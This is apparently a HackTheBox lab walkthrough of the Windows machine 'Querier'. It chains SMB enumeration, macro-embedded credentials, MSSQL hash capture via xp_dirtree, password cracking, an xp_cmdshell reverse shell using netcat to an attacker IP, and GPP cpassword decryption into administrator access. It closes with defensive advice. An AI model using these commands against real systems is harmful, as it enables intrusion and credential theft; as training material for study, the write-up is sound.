1. Target Overview

Machine Name: Querier
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.9.231

Objective:
Gain initial access to the target system and escalate privileges to obtain administrative-level access.

This machine stood out to me because there was no Active Directory domain to lean on and no web application to exploit. Everything revolved around SMB and MSSQL,

Tools Used

• RustScan

• SMBClient

• NetExec (nxc)

• Olevba

• Impacket (mssqlclient)

• Responder

• John the Ripper

• Netcat

• Evil-WinRM

• gpp-decrypt

---

2. Enumeration

I kicked things off with a port scan to map out the attack surface:

rustscan -a 10.129.9.231 -b 7000

The results painted a clear picture:

• SMB (139, 445)

• RPC (135 + high ports)

• WinRM (5985)

• MSSQL (1433)

That combination immediately suggested a Windows host with remote management exposed and a database service.

Another useful detail surfaced during enumeration—the FQDN:

querier.htb.local

I added it to my hosts file right away:

echo "10.129.9.231 querier.htb.local" | sudo tee -a /etc/hosts

---

SMB Enumeration

With SMB open, it made sense to start there. It’s fast to check and has a habit of exposing things it shouldn’t—whether that’s files, usernames, or outright credentials.

My first pass used NetExec:

nxc smb 10.129.9.231 -u '' -p '' --shares

The output suggested that anonymous authentication wasn’t allowed. That could have been the end of the road for SMB, but I’ve seen enough inconsistencies across tools to know better than to trust a single result.

To verify, I switched to smbclient:

smbclient -N -L //10.129.9.231

This time, I got a valid share listing.

That difference is exactly why it’s worth cross-checking tools—same idea, different implementation, completely different outcome.

Among the shares, one stood out:

Reports

I connected to it:

smbclient -N //10.129.9.231/Reports

A quick directory listing showed:

Currency Volume Report.xlsm

A single file, I downloaded it for a closer look.

---

File Analysis

Macro-enabled Office files are always worth digging into. They’re often used to automate tasks internally, which means they sometimes carry hardcoded credentials or logic that wasn’t meant to be exposed.

After pulling the file locally, I ran:

olevba Currency\ Volume\ Report.xlsm

The macro content revealed exactly that—embedded credentials:

User: reporting
Password: PcwTWrHwrwyjc$c6

At this point, the direction was clear. Those credentials had to belong somewhere, and given the services available, MSSQL was the most likely candidate.

---

3. Exploitation

With a valid username and password in hand, the next step was to test them against exposed services. MSSQL stood out immediately, especially since service accounts are often tied directly to database access.

impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth

The connection succeeded, giving me a foothold inside the database.

---

Initial SQL Enumeration

The first priority was to understand the level of access I had:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

The result showed that reporting was a low-privileged user. No direct path to execution there.

Next, I checked what databases were available:

SELECT name FROM master.sys.databases;

One entry stood out:

volume

Switching to it:

use volume;

Unfortunately, it was empty. No useful tables, no sensitive data, nothing to extract.

At that point, it was clear that progress wouldn’t come from data mining. The focus had to shift toward abusing MSSQL itself.

---

Hash Capture via xp_dirtree

MSSQL includes several stored procedures that interact with the filesystem, and some of them can be repurposed in interesting ways. One of those is xp_dirtree.

Instead of pointing it at a local directory, I directed it toward a share I controlled:

xp_dirtree \\10.10.15.205\neo

That forced the server to attempt an SMB connection back to me.

Behind the scenes, the MSSQL service tried to authenticate to my machine using its own service account. With Responder running, I captured the resulting NTLMv2 hash:

mssql-svc::QUERIER:...

---

Cracking the Hash

Once captured, the hash was saved and cracked:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The result:

mssql-svc : corporate568

This was the real pivot point. Service accounts tend to have broader permissions, and this one was no exception.

---

4. Privilege Escalation

MSSQL Privilege Abuse → RCE

I reconnected using the new credentials:

impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth

Checking permissions again:

SELECT * FROM fn_my_permissions(NULL, 'SERVER');

This time, the output told a very different story:

• CONTROL SERVER

• IMPERSONATE

Those privileges effectively grant full control over the MSSQL instance. At that point, the goal shifts from access to execution.

---

Enabling xp_cmdshell

With sufficient privileges, I enabled xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

This is where MSSQL stops being just a database and starts acting as a bridge into the operating system.

---

Reverse Shell

To turn command execution into a usable foothold, I hosted a Netcat binary over SMB and executed it remotely:

xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001

On my end:

nc -lvnp 9001

The connection came through as:

querier\mssql-svc

Now I had a shell on the box.

---

Local Enumeration

With system access established, I moved into local enumeration.

Checking privileges:

whoami /all

Nothing useful.

Looking at users:

• mssql-svc

• Administrator

That ruled out lateral movement and pointed toward local privilege escalation.

Autologon credentials were next on the list, but nothing turned up. At that stage, I started checking common misconfigurations that tend to get overlooked.

---

GPP Password Discovery

One of the more reliable places to look in environments like this is cached Group Policy Preferences.

I navigated to:

C:\ProgramData\Microsoft\Group Policy\History\

Then searched for XML files:

dir "C:\ProgramData\Microsoft\Group Policy\History\" -Recurse -Include *.xml

This led me to:

Groups.xml

Inside was a cpassword value—exactly what I was hoping to find.

---

Decrypting cpassword

I pulled the value and decrypted it:

gpp-decrypt <cpassword>

Which returned:

Administrator : MyUnclesAreMarioAndLuigi!!1!

That was the final piece.

---

Final Access

evil-winrm -i 10.129.9.231 -u Administrator

whoami
querier\administrator

---

5. Lessons Learned

1. Enumeration Needs Verification, Not Assumptions
A single tool suggested SMB was locked down. A second tool proved otherwise. That difference led directly to initial access.

2. SMB Still Delivers Value in Subtle Ways
Even limited access can expose files that shift the entire attack path.

3. MSSQL Is a Full Attack Surface
Treating it as just a database would have stalled progress. Understanding its interaction with the system made the difference.

4. xp_dirtree Is a Reliable Pivot Technique
It turns database access into credential harvesting with very little effort.

5. Privilege Context Defines Capability
The jump from low-priv user to CONTROL SERVER is what unlocked RCE.

6. GPP Credentials Are Still an Easy Win
They remain one of the most consistent privilege escalation vectors on Windows systems.

7. Small Details Compound Into Full Compromise
No single step here was overly complex, but each one built cleanly into the next.

---

6. Defensive Insight

1. SMB Access Should Be Consistently Enforced
Inconsistent handling of anonymous access can expose sensitive resources.

2. Credentials Should Never Be Embedded in Files
Storing passwords in macros creates immediate exposure if the file is accessible.

3. MSSQL Features Like xp_cmdshell Should Be Restricted
These capabilities should not be available without strict controls.

4. Outbound Authentication Should Be Monitored
Unexpected SMB connections to external hosts are a strong indicator of abuse.

5. GPP Password Storage Should Be Eliminated
cpassword is reversible and should not exist in any modern environment.

6. Service Accounts Should Follow Least Privilege
Granting CONTROL SERVER unnecessarily creates a direct path to compromise.

---

7. Useful Commands

Scanning

rustscan -a 10.129.9.231 -b 7000

SMB Enumeration

smbclient -N -L //10.129.9.231
smbclient -N //10.129.9.231/Reports

File Analysis

olevba Currency\ Volume\ Report.xlsm

MSSQL Access

impacket-mssqlclient reporting:PcwTWrHwrwyjc$c6@10.129.9.231 -windows-auth
impacket-mssqlclient mssql-svc:corporate568@10.129.9.231 -windows-auth

SQL Enumeration

SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name FROM master.sys.databases;

Hash Capture

xp_dirtree \\10.10.15.205\neo

Cracking

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Reverse Shell

xp_cmdshell \\10.10.15.205\zion\nc.exe -e powershell.exe 10.10.15.205 9001

GPP Decryption

gpp-decrypt <cpassword>

Final Access

evil-winrm -i 10.129.9.231 -u Administrator

---